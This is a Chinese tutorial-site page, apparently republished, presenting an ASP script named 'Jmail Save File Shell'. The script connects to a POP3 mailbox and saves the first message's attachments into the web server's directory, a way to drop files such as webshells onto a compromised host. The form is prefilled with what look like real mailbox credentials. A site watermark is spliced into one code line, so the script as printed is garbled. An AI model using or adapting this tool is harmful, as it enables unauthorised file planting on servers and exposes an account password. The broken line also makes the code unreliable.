下一篇 » « 上一篇

用Jmail写文件进硬盘

作者:爱好者    时间:2008-01-22    来源:php之家    点击:30439    本文共1篇文章 字体:[ ]
标签:php安全

用Jmail写文件进硬盘

本文作者:kEvin1986
文章性质:原创
发布日期:2005-08-14

www.444p.com

  www.444p.com版权所有

<%
  'codz by kEvin1986
  User=Request.Form("User")
  Pass=Request.Form("Pass")
  Popserver=Request.Form("Popserver")

  if User<>"" and Pass<>"" and Popserver<>"" then
    Set objmail = CreateObject( "JMail.POP3" )
    objmail.Connect User, Pass, Popserver

    set objmsg=CreateObject("jmail.message")
    Set objmsg = objmail.Messages.item(1)
    separator = ", "
    response.write "Attachment Name is: " & SaveAtta & "<br>"
    objmail.Disconnect
  End if

  Function SaveAtta()
    Set Attachments = objmsg.Attachments
    separator = ", "
    response.write "The size of this Attachment is: " & objmsg.size & "<br>" php学习之家
    For i = 0 To Attachments.Count - 1
    If i = Attachments.Count - 1 Then
      separator = ""
    End If

    Set Theatta = Attachments(i)
    response.write Theatta.name
    Theatta.SaveToFile(Server.Mappath(".") & "\" & Theatta.name)
    Response.write "Oh!Hey Guy.....That's OK!"
    Next
  End Function
%>

<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method="POST">
User: <input name="User" type=text value="kevin1986"><br>
Pass: <input name="Pass" type=text value="1986lovinghuan"><br>
POP3: <input name="Popserver" type=text value="pop.163.com"><br>
<input type=submit value="Get the Attachments Of the First Mail">
</Form>
</Center>
</Body>
</Html>

www.444p.com

发表评论
密码: (游客不需要密码)
记住我【Alt+S 或 Ctrl+Enter 快速提交】

搜索工具


《PHP教程》点击排行